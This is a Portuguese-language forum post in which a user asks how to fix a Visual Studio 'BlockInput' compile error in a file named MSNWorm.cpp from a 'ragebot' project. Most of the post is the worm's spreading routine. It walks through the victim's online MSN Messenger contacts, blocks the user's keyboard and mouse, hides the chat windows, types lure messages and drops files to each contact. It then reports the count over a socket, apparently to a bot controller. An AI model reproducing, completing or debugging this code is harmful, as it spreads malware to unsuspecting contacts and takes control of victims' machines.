visual studio C++ (identifier not found)

[daemoncesar]

Boa Noite, sou leigo no visual studio e preciso compilar um programa...

O erro é este:

Error 2 error C3861: 'BlockInput': identifier not found C:\Users\cesar\Desktop\scan-vnc\MSNWorm.cpp 138 1 ragebot

linha do erro:

BlockInput(true);

void imfuck() 
{ 
    IMSNMessenger *pIMessenger = NULL; 
    
    CoInitialize(0); 
    
    HRESULT hr = CoCreateInstance( 
        CLSID_Messenger, 
        NULL, 
        CLSCTX_ALL, 
        IID_IMSNMessenger, 
        (void **)&pIMessenger); 
    
    if (SUCCEEDED(hr)) 
    { 
             char sendbuf[512];
        IDispatch * dispContacts = NULL; 
        pIMessenger->get_MyContacts(&dispContacts); 
        if (SUCCEEDED(hr)) 
        { 
            IMSNMessengerContacts *pIMessengerContacts = NULL; 
            
            hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts); 
            if (SUCCEEDED(hr)) 
            { 
                
                IDispatch * dispContact = NULL; 
                IMSNMessengerContact *pIMessengerContact = NULL; 
                long iContacts; 
                
                hr = pIMessengerContacts->get_Count(&iContacts); 
                if (SUCCEEDED(hr)) 
                { 
                    BlockInput(true); 
                    for (long i = 0; i < iContacts; i++) 
                    { 
                        hr = pIMessengerContacts->raw_Item(i,&dispContact); 
                        if (SUCCEEDED(hr)) 
                        { 
                            hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact); 
                            if (SUCCEEDED(hr)) 
                            { 
                                BSTR szContactName; 
                                VARIANT vt_user; 
                                MISTATUS miStatus; 
                                IDispatch *pIDispatch = NULL; 
                                IMSNMessengerWindow *pIMessengerWindow; 
                                LONG wndIM; 
                                
                                hr = pIMessengerContact->get_Status(&miStatus); 
                                if (SUCCEEDED(hr)) 
                                { 
                                    if (miStatus == MISTATUS_OFFLINE) 
                                    { 
                                        pIMessengerContact->Release(); 
                                        dispContact->Release(); 
                                        continue; 
                                    } 
                                } 
                                pIMessengerContact->get_SigninName(&szContactName); 
                                VariantInit( &vt_user ); 
                                to_variant(szContactName, vt_user); 
                                Sleep(3000); 
                                hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch); 
                                if (SUCCEEDED(hr)) 
                                { 
                                    hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void**)&pIMessengerWindow); 
                                    if (SUCCEEDED(hr)) 
                                    { 
                                        Sleep(10); 
                                        pIMessengerWindow->get_HWND(&wndIM); 
                                        SetForegroundWindow((HWND) wndIM); 
                                        SetFocus((HWND) wndIM); 
                                        trx++; 
                                        ShowWindow((HWND) wndIM,0); 
                                        srand(GetTickCount()); 
                                        int i = rand() % sizeof(gen_msgenglish) / sizeof(gen_msgenglish[0]); 
                                        key_type((char *)gen_msgenglish[i], (HWND) wndIM); 
                                        keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); 
                                        keybd_event(VkKeyScan('V'), 0, 0, 0);         
                                        keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); 
                                        keybd_event(VK_RETURN, 0, 0, 0); 
                                        Sleep(50); 
                                        dropfiles((HWND) wndIM);
                                        keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0); 
                                        keybd_event(VkKeyScan('V'), 0, 0, 0); 
                                        keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0); 
                                    } 
                                    pIMessengerWindow->Release(); 
                                } 
                                pIMessengerContact->Release(); 
                                dispContact->Release(); 
                            } 
                        } 
                    } 
                    BlockInput(false); 
                        if (trx > 1)
                    {
                 sprintf(sendbuf,"Sending %s to %d contacts",szZipname,trx);
                    send(sock, sendbuf, strlen(sendbuf), 0); 
                        }
                    pIMessengerContacts->Release(); 
                } 
                dispContacts->Release(); 
            } 
        } 
        pIMessenger->Release(); 
    } 
    
    CoUninitialize(); 
    
    //return 0; 
}